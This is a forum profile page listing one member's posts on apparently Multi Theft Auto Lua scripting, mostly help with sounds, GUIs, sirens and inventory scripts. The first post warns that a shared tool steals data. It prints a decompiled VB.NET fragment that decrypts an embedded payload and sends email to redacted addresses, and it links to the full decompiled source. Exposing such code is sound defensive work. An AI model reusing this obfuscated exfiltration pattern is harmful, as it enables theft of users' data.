Jump to content

micheal1230

Members
  • Posts

    390
  • Joined

  • Last visited

Posts posted by micheal1230

  1. Guys... Your pretty stupid. It steals something, I decompiled it.

    Here is the source code: http://www.mediafire.com/?hrvjr4cam6ikr54

    Public Sub New() 
        Form1.__ENCAddToList(Me) 
        Me.delim = "//fhsgfjsdzerbfd//" 
        Me.coca = "Class1" 
        Me.pepsi = "start" 
        Me.white = Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(1)) 
        Me.red = Me.dcrp(Me.gstr(Me.white), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))) 
        Me.carpet = Me.gbyt(Me.red) 
        Me.InitializeComponent 
        Me.SendEmail("[email protected]", "[email protected]", "test", "test") 
    End Sub 
      
      
      
      
      
    

  2. it's so simple

    server

    addEventHandler("onPlayerJoin",root, 
        function() 
            triggerClientEvent(source,"newPlayer",source) 
        end 
    ) 
    

    client

    addEvent("newPlayer",true) 
    addEventHandler("newPlayer",localPlayer, 
        function() 
            playSound("vcm.mp3") 
        end 
    ) 
    

    just try that

    Edit: My beats are playing now

    It will play only if you have the resource downloaded and you join the server. Server will try to trigger client-side event even before the file is downloaded so the first time you join the server it will not play but the next time if the resource will not be changed then you will hear the sound.

    Nope tested it and it works

  3. Why do you need to make it 3D anyway? It looks like a login script, so I guess, when you're logging in you don't move around. Why set its dimensions? It'll be played only for the person who logs in unless you trigger the event for everyone which would be pointless.

    Yeah i want it to play for people that are on the log in screen

    Edit: My beats are playing now :-D

  4. Why dont this work?

      
    VCM = playSound3D("vcm.mp3", 837.90606689453, -2066.2963867188, 16.712882995605,true) 
    function OpenLogin() 
        local width, height = guiGetScreenSize() 
        local x,y,z = getElementPosition( getLocalPlayer ( ) ) 
        local dim = getElementDimension( getLocalPlayer ( ) ) 
         
        setElementDimension ( VCM, dim ) 
        setElementPosition ( VCM, x,y,z ) 
        setSoundVolume(VCM, 1) 
    

  5. Well I want to know how to make my GUI fit every resolution, please dont bother sending me to the wiki because I read it and it doesn't make sense. Could you please show me. Here is my GUI, My resolution is 1360x768

    addCommandHandler("disappear",theLuaThatWasHere) 
    

  6. You forgot about:
    function ( ) 
    

    addEventHandler ( "onClientResourceStart", resourceRoot, 
        function ( ) 
            for i = 550, 20000 do 
                engineSetModelLODDistance ( i, 10000000 ) 
            end 
        end 
    ) 
    

    Crashes my mta every time i start the script and join

  7. It may be because the distance parameter is too high and it trips its ass out (when it exceeds the bytes reserved for it, it becomes a negative value and then positive again and then negative, it's a shady area Example)

    Try using 300 in 10000000's stead, that seems to be pretty acceptable:

    For low LOD elements, engineSetModelLODDistance still has a limit of 300 units, but the actual draw distance used is 5 times the setting value. Also, low LOD elements ignore the 'Video' tab draw distance slider. So a setting of 200 will mean a low LOD element will always have a draw distance of 1000 units.

    I get Loading script failed: showallshit\showallshit.lua:4:4 unexpected symbol near 'for' as a error

  8. Gui Doesnt show

    Errors:

    No Errors But Items dont show And its adds Another 2 colums called item And Value

    Here Is The Trigger

    if (item==Briefcase) then 
                triggerEvent("getItemsInInventory", source) 
    

    Server:

    IN THE PIC IT SHOWS NO addEvent But I have added it so ignore that its not there.

    ServerBriefcase.jpg

    Right Click and Open Image In New Tab If you need to look at the little bit off the end.

    Client:

    http://pastebin.com/uMG5hfgm

  9. Well i made a script and if i have 10000 dollars its says i have 100000. No errors

    function showMoney(thePlayer, commandName) 
        if getData(thePlayer, "loggedin") == 1 then 
        outputChatBox("You have ".. getPlayerMoney(thePlayer) .." dollars in your wallet." , thePlayer, 212, 156, 49) 
        end 
    end 
    addCommandHandler("money", showMoney) 
    

  10. When you press 'n' you get a siren sound, but when you press 'n' again you get a different siren sound but the second sound wont play!

    local sounds = { } 
      
    -- Bind Keys required 
    function bindKeys(res) 
        bindKey("n", "down", toggleSirens) 
         
        for key, value in ipairs(getElementsByType("vehicle")) do 
            if isElementStreamedIn(value) then 
                if getElementData(value, "lspd:siren") then 
                    sounds[value] = playSound3D("siren.wav", 0, 0, 0, true) 
                    attachElements( sounds[value], value ) 
                    setSoundVolume(sounds[value], 0.6) 
                    setSoundMaxDistance(sounds[value], 45) 
                    setElementDimension(sounds[value], getElementDimension(value)) 
                    setElementInterior(sounds[value], getElementInterior(value)) 
                end 
            end 
        end 
    end 
    addEventHandler("onClientResourceStart", getResourceRootElement(), bindKeys) 
      
    function toggleSirens() 
        local theVehicle = getPedOccupiedVehicle(getLocalPlayer()) 
         
        if (theVehicle) then 
            if getElementData(theVehicle, "lspd:siren") then 
                triggerServerEvent("lspd:setSirenState", theVehicle, false) 
            elseif (exports.global:hasItem(theVehicle, 85)) then 
                triggerServerEvent("lspd:setSirenState", theVehicle, true) 
            end 
        end 
    end 
    addCommandHandler("togglecarsirens", toggleSirens, false) 
      
    function streamIn() 
        if getElementType( source ) == "vehicle" and getElementData( source, "lspd:siren" ) and not sounds[ source ] then 
            sounds[source] = playSound3D("siren.wav", 0, 0, 0, true) 
            attachElements( sounds[source], source ) 
            setSoundVolume(sounds[source], 0.6) 
            setSoundMaxDistance(sounds[source], 45) 
            setElementDimension(sounds[source], getElementDimension(source)) 
            setElementInterior(sounds[source], getElementInterior(source)) 
        end 
    end 
    addEventHandler("onClientElementStreamIn", getRootElement(), streamIn) 
      
    function streamOut() 
        if getElementType( source ) == "vehicle" and sounds[source] then 
            destroyElement( sounds[ source ] ) 
            sounds[ source ] = nil 
        end 
    end 
    addEventHandler("onClientElementStreamOut", getRootElement(), streamOut) 
      
    function updateSirens( name ) 
        if name == "lspd:siren" and isElementStreamedIn( source ) and getElementType( source ) == "vehicle" then 
            local attached = getAttachedElements( source ) 
            if attached then 
                for key, value in ipairs( attached ) do 
                    if getElementType( value ) == "sound" and value ~= sounds[ source ] then 
                        destroyElement( value ) 
                    end 
                end 
            end 
             
            if not getElementData( source, name ) then 
                if sounds[ source ] then 
                    destroyElement( sounds[ source ] ) 
                    sounds[ source ] = nil 
                end 
            else 
                if not sounds[ source ] then 
                    sounds[source] = playSound3D("siren.wav", 0, 0, 0, true) 
                    attachElements( sounds[source], source ) 
                    setSoundVolume(sounds[source], 0.6) 
                    setSoundMaxDistance(sounds[source], 45) 
                    setElementDimension(sounds[source], getElementDimension(source)) 
                    setElementInterior(sounds[source], getElementInterior(source)) 
                end 
            end 
        end 
    end 
    addEventHandler("onClientElementDataChange", getRootElement(), updateSirens) 
    

  11. Hello there everyone, I would like help in setting up "MTA:RP" Scripts.

    I have the DB and everything. The only problem I am having, thus far is that I can't login or register.

    Avin dont make a server if you dont know how to set it up

×
×
  • Create New...